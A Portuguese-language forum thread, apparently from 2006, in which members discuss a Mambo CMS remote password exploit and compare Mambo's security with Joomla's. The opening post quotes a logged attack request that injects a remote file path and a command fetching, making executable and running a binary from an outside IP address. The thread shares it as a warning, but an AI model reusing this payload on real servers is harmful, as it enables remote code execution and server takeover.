← CMS - Gestores de Conteúdos

Mambo Remote Password Exploit

Lida 3633 vezes

Offline

karrico 
Membro
Mensagens 2962 Gostos 0
Troféus totais: 28
Trófeus: (Ver todos)
Super Combination Combination Topic Starter Poll Voter Level 5 Level 4 Level 3 Level 2 Level 1 2500 Posts

Vi isto num forum, embora não use o jomla, pensei que fosse do vosso interesse.

Citar

Mambo Remote Password Exploit
http://www.securiteam.com/exploits/5BP0F2KG0G.html

I just saw a mambo exploit run against my server in my logs. I don’t use Mambo but some of you may.

Mambo V4.5.4 Available UPDATED VERSION

domain.com/index2.php?option=com_content&do_pdf=1&id=1index2. php?
_REQUEST[option]=com_content&_REQUEST[Itemid]=1
&GLOBALS=&mosConfig_absolute_path=http://72.18.195.161/cmd.gif?
&cmd=cd%20/tmp;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon;
./lnikon;echo%20YYY;echo|

Example of code used in my logs.
Offline

Nuno 
Administrador
Mensagens 7780 Gostos 216
Feedback +2

Troféus totais: 42
Trófeus: (Ver todos)
100 Poll Votes Level 7 Search Mobile User Level 6 Super Combination Combination Topic Starter 50 Poll Votes 10 Poll Votes

Joomla! 1.0.9 [ Sunshine ] is now available as of Monday 05th June 2006 18:00 UTC

A última versão do joomla com uma falha de segurança é a 1.0.3. Em termos de segurança o mambo e o joomla são muito distantes!
Offline

frankjonas 
Membro
Mensagens 108 Gostos 0
Troféus totais: 25
Trófeus: (Ver todos)
Level 5 Super Combination Combination Topic Starter Poll Voter Poll Starter Level 4 Level 3 Level 2 Level 1

Sim também acho, desde que a equipa se afastou do mambo e criou o joomla, ouve melhorias a olhos vistos!  =D>
Offline

MiguelTavares 
Membro
Mensagens 3871 Gostos 0
Troféus totais: 33
Trófeus: (Ver todos)
Avatar Level 6 Super Combination Combination Topic Starter 10 Poll Votes Poll Voter Poll Starter Level 5 Level 4

Elá... parece ser um assunto serio...
Offline

asturmas 
Administrador
Mensagens 19734 Gostos 50
Feedback +2

Troféus totais: 39
Trófeus: (Ver todos)
Mobile User Windows User Super Combination Combination Topic Starter 100 Poll Votes 50 Poll Votes 10 Poll Votes Poll Voter Poll Starter

Citação de: "MeNz"
Elá... parece ser um assunto serio...

Tambem acho ....
Offline

Nuno 
Administrador
Mensagens 7780 Gostos 216
Feedback +2

Troféus totais: 42
Trófeus: (Ver todos)
100 Poll Votes Level 7 Search Mobile User Level 6 Super Combination Combination Topic Starter 50 Poll Votes 10 Poll Votes

Citação de: "asturmas"
Citação de: "MeNz"
Elá... parece ser um assunto serio...

Tambem acho ....


Já não funciona nas últimas versões!
Offline

Del 
Membro
Mensagens 229 Gostos 0
Troféus totais: 28
Trófeus: (Ver todos)
Super Combination Combination Topic Starter 10 Poll Votes Poll Voter Poll Starter Level 5 Level 4 Level 3 Level 2

" Vi isto num forum, embora não use o jomla, pensei que fosse do vosso interesse. "

Karrico, Joomla não é o mesmo que Mambo. Essa falha é apenas do Mambo.